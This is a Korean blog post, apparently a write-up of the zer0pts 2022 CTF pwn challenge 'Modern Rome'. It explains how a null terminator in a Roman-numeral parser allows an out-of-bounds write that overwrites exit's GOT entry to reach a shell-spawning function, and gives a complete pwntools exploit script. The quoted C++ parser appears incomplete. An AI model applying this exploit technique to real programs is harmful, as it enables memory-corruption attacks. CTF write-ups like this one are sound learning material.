CTF

zer0pts 2022 / Modern Rome

lok2h4rd 2022. 3. 25. 01:07

삽질하다 못 풀고 대회가 끝나버렸다... 좀 전에 vs에 코드가 남아있길래 다시 차근차근 분석해보니까 코드 분석을 제대로 안 해서 못 풀었다..


problem

고대 숫자 체계가 여전히 현대에서도 사용된다고 한다
해당 문제는 바이너리와 C++로 작성된 원본 코드가 주어졌다

mitigation

#include <string>
#include <iostream>
#include <stdio.h>

short buf[10];

short readroman() {
    short res = 0;
    std::string s;

    std::cin >> s;
    auto it = s.crbegin();

    int b = 1;
    for (auto c : "IXCM") {
        int cnt = 0;
        
        while (cnt < 9 && it != s.crend() && *it == c) {
            it++;
            cnt++;
        }
    }

    return res;
}

int main() {

    std::cout << "ind: ";
    int ind = readroman();
    std::cout << "val: ";
    int val = readroman();

    std::cout << "buf[" << ind << "] = " << val << std::endl;
    buf[ind] = val;

    std::exit(0);
}

주어진 C++ 코드에는 없지만 주어진 바이너리에는 쉘을 띄워는 win함수가 존재한다

main

풀 때는 M까지가 끝으로 최대 9999까지만 가능한 줄 알았다... 지금 보니까 뒤에 \x00이 존재했다 (string 마지막에 널바이트도 포함될지 몰랐다..)
OOB를 통해 exit의 got주소를 win함수로 parital overwrite을 해서 쉘을 띄웠다

from pwn import *

p = process("./chall")
#gdb.attach(p)
ind = b"\x00\x00\x00\x00\x00\x00"
ind += b"MMMMM"
ind += b"C"
ind += b"XXXXXX"
ind += b"IIII"

p.recvuntil(b": ")
p.sendline(ind)

val = b"MMMM"
val += b"CCCCCCCC"
val += b"XXXXX"
val += b"IIII"
p.recvuntil(b": ")
p.sendline(val)

p.interactive()


local flag




포기하지 말고 조금만 더 삽질했더라면....